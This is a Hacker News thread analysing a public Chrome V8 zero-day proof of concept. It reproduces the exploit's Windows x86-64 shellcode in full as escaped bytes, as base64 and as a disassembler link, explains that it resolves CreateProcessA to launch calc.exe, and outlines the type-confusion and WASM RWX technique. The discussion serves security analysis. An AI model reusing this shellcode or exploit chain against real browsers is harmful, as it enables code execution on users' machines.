4 ms·

So what does it do? https://github.com/r4j0x00/exploits/blob/7ba55e5ab034d05877498e83f144e187d3ddb160/chrome-0day/exploit.js#L96 https://github.com/r4j0x00/exp

• mappu 6y ago
  I converted it to binary with a pack("L", ...) loop and loaded it in Ghidra as a raw x86_64 binary. I don't fully understand it, but i think it's searching the address space for some kind of function entry point and then calling it with "calc.exe". So probably the standard PoC shellcode.
  • lights0123 6y ago
    For anyone else wanting to analyze this: echo '\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48 \x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48 \x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9 \x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b \x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40 \x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48 \x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45 \x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40 \x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58 \x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9 \x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01 \x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd \x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72 \x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00' > exploit
    • tyingq 6y ago
      Minor nit, but I suppose you mean "echo -ne" ?
      • jwilk 6y ago
        I guess the newline that echo without -n would add doesn't matter that much. OTOH -e, depending on your shell, is either necessary (e.g. bash), or unnecessary but harmless (e.g. zsh) or insufficient (e.g. dash). If you want to print binary stuff portably, you need to use printf(1). (Shameless plug: you can use https://github.com/jwilk/printfify https://github.com/jwilk/printfify to generate printf commands for binary files.) In this case, base64 encoding is much more efficient: /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIs IEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lB izSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQ QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2N AQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2Fs Yy5leGUA
    • dang 6y ago
      I had to put some whitespace in your echo because it was borking the page layout. Sorry—it's our bug.
    • saagarjha 6y ago
      (Disclaimer: I know very little about Windows, I Googled a bunch of stuff so the details might be wrong. Disassembly, if you want to follow along: http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cxfc%5Cx48%5Cx83%5Cxe4%5Cxf0%5Cxe8%5Cxc0%5Cx00%5Cx00%5Cx00%5Cx41%5Cx51%5Cx41%5Cx50%5Cx52%5Cx51%5Cx56%5Cx48%0D%0A%5Cx31%5Cxd2%5Cx65%5Cx48%5Cx8b%5Cx52%5Cx60%5Cx48%5Cx8b%5Cx52%5Cx18%5Cx48%5Cx8b%5Cx52%5Cx20%5Cx48%5Cx8b%5Cx72%5Cx50%5Cx48+%5Cx0f%5Cxb7%5Cx4a%5Cx4a%5Cx4d%5Cx31%5Cxc9%5Cx48%5Cx31%5Cxc0%5Cxac%5Cx3c%5Cx61%5Cx7c%5Cx02%5Cx2c%5Cx20%5Cx41%5Cxc1%5Cxc9+%5Cx0d%5Cx41%5Cx01%5Cxc1%5Cxe2%5Cxed%5Cx52%5Cx41%5Cx51%5Cx48%5Cx8b%5Cx52%5Cx20%5Cx8b%5Cx42%5Cx3c%5Cx48%5Cx01%5Cxd0%5Cx8b+%5Cx80%5Cx88%5Cx00%5Cx00%5Cx00%5Cx48%5Cx85%5Cxc0%5Cx74%5Cx67%5Cx48%5Cx01%5Cxd0%5Cx50%5Cx8b%5Cx48%5Cx18%5Cx44%5Cx8b%5Cx40+%5Cx20%5Cx49%5Cx01%5Cxd0%5Cxe3%5Cx56%5Cx48%5Cxff%5Cxc9%5Cx41%5Cx8b%5Cx34%5Cx88%5Cx48%5Cx01%5Cxd6%5Cx4d%5Cx31%5Cxc9%5Cx48+%5Cx31%5Cxc0%5Cxac%5Cx41%5Cxc1%5Cxc9%5Cx0d%5Cx41%5Cx01%5Cxc1%5Cx38%5Cxe0%5Cx75%5Cxf1%5Cx4c%5Cx03%5Cx4c%5Cx24%5Cx08%5Cx45+%5Cx39%5Cxd1%5Cx75%5Cxd8%5Cx58%5Cx44%5Cx8b%5Cx40%5Cx24%5Cx49%5Cx01%5Cxd0%5Cx66%5Cx41%5Cx8b%5Cx0c%5Cx48%5Cx44%5Cx8b%5Cx40+%5Cx1c%5Cx49%5Cx01%5Cxd0%5Cx41%5Cx8b%5Cx04%5Cx88%5Cx48%5Cx01%5Cxd0%5Cx41%5Cx58%5Cx41%5Cx58%5Cx5e%5Cx59%5Cx5a%5Cx41%5Cx58+%5Cx41%5Cx59%5Cx41%5Cx5a%5Cx48%5Cx83%5Cxec%5Cx20%5Cx41%5Cx52%5Cxff%5Cxe0%5Cx58%5Cx41%5Cx59%5Cx5a%5Cx48%5Cx8b%5Cx12%5Cxe9+%5Cx57%5Cxff%5Cxff%5Cxff%5Cx5d%5Cx48%5Cxba%5Cx01%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx48%5Cx8d%5Cx8d%5Cx01%5Cx01+%5Cx00%5Cx00%5Cx41%5Cxba%5Cx31%5Cx8b%5Cx6f%5Cx87%5Cxff%5Cxd5%5Cxbb%5Cxf0%5Cxb5%5Cxa2%5Cx56%5Cx41%5Cxba%5Cxa6%5Cx95%5Cxbd+%5Cx9d%5Cxff%5Cxd5%5Cx48%5Cx83%5Cxc4%5Cx28%5Cx3c%5Cx06%5Cx7c%5Cx0a%5Cx80%5Cxfb%5Cxe0%5Cx75%5Cx05%5Cxbb%5Cx47%5Cx13%5Cx72+%5Cx6f%5Cx6a%5Cx00%5Cx59%5Cx41%5Cx89%5Cxda%5Cxff%5Cxd5%5Cx63%5Cx61%5Cx6c%5Cx63%5Cx2e%5Cx65%5Cx78%5Cx65%5Cx00&arch=x86-64&endianness=little&dis_with_addr=True&dis_with_raw=True&dis_with_ins=True#disassembly http://shell-storm.org/online/Online-Assembler-and-Disassemb...) The program program is shellcode, so the first thing it does is set itself up with the state it needs. This includes clearing the direction flag, aligning the stack to 16 bytes, and figuring out where it is in memory (the call to 0xca both sticks an address on the stack and avoids some code described below). It then calls into a little subroutine (at 0xa) to read through the PEB → LoaderData → InMemoryOrderModuleList. The first entry is the entry for the main binary, from which it grabs the "FullDllName", does some sort of trivial hash on it, and compares it to a known value (presumably a check to see that it's running in a sane environment?) Then it largely skips the next entry (ntdll.dll) and goes to kernel32.dll, where it looks into the exports table to find what is presumably CreateProcessA (this is done using a similar hashing scheme, so the string is not directly present in the shellcode). There's a "calc.exe" string at the end of the code (perhaps you can spot it) and with that it has enough to pop a calc.
• edoceo 6y ago
  Repo leads to this one from a few days ago, looks similar, maybe can help? https://github.com/r4j0x00/exploits/tree/7ba55e5ab034d05877498e83f144e187d3ddb160/chrome-exploit https://github.com/r4j0x00/exploits/tree/7ba55e5ab034d058774...
• graderjs 6y ago
  I ran both the exploits[0][1] on Chrome (89.0.4389.114) on Windows and got AW SNAP: Access violation on both. I then straced the tab processes on Debian (as best as I could guess which chrome child processes were tabs via top activity as I loaded stuff in them) and ran the exploit. Nothing seemed unusual. Just all the system calls stopped after the exploit was run, and the tab crashed. I guess it would be good to gdb to the actual JS VM process and stepi through the instructions, but I don't know how to get the actual process that runs the JSVM for a chrome tab. I forked the repo so I could easily run it from a GitHub pages site. I don't know what it does but I don't think it does anything: [0]: https://dosycorps.github.io/exploits/chrome-exploit/exploit.html https://dosycorps.github.io/exploits/chrome-exploit/exploit.... [1]: https://dosycorps.github.io/exploits/chrome-0day/exploit.html https://dosycorps.github.io/exploits/chrome-0day/exploit.htm...
  • rezonant 6y ago
    As others have mentioned, this doesn't have a sandbox escape so you need to run with --no-sandbox for the exploit to work
• alpb 6y ago
  Visibly, it launches calc.exe on Windows. But only reproes if launches as file:///
  • r4j0x00 6y ago
    Nope, it will also work with a http url. Just run chrome.exe with --no-sandbox flag
• heljara 6y ago
  Broadly speaking, the wasm stuff is only there as a method of getting the browser to execute shellcode, its a pretty standard lump of code for turning a memory bug into code execution in v8. What this shellcode does is open calculator when the browser's sandbox is disabled (`--no-sandbox`). In general in v8 exploitation, once you've reached a point where you can read and write arbitrary memory, you find that v8 will only create either RW or RX pages for you when the JIT compilation happens. WASM is a neat little trick for getting a handle to a RWX page. At first glance to me, the core bug is actually in abusing an array enough to get an unsigned int into a function that expects them all to be signed, causing an off-by-one error and leveraging that into a memory leak (to get the pointer to a FixedArray for floats and a pointer to a FixedArray of objects) and then replacing one with another to create a type confusion and read/write arbitrary memory through that. r4j will probably correct me on the subtlety here though! Source: extremely similar to HackTheBox RopeTwo, which I spent more time than I am prepared to admit solving. Disclaimer: am noob at v8 exploitation, but have done enough of it to know some of the tricks. See also, an article that helped me previously, much of the code is similar (eg: the WASM stuff, the addrof() and fakeobj() methods): https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/ https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
  • baybal2 6y ago
    > In general in v8 exploitation, once you've reached a point where you can read and write arbitrary memory, you find that v8 will only create either RW or RX pages for you when the JIT compilation happens. WASM is a neat little trick for getting a handle to a RWX page. It's not a neat trick, but a grave problem of WASM model. WASM memory (in)security will be a big problem until all of memory security tricks from native code will be migrated to WASM world, and then there will be not much use of WASM anymore.
    • kmfpl 6y ago
      You understand that having W^X protections on any JIT area is fairly useless without a strong CFI model in place right? Any attacker could easily execute a ROP/JOP chain to switch JIT protections to RX or even more simply allocate an RWX area where the shellcode can be copied and executed.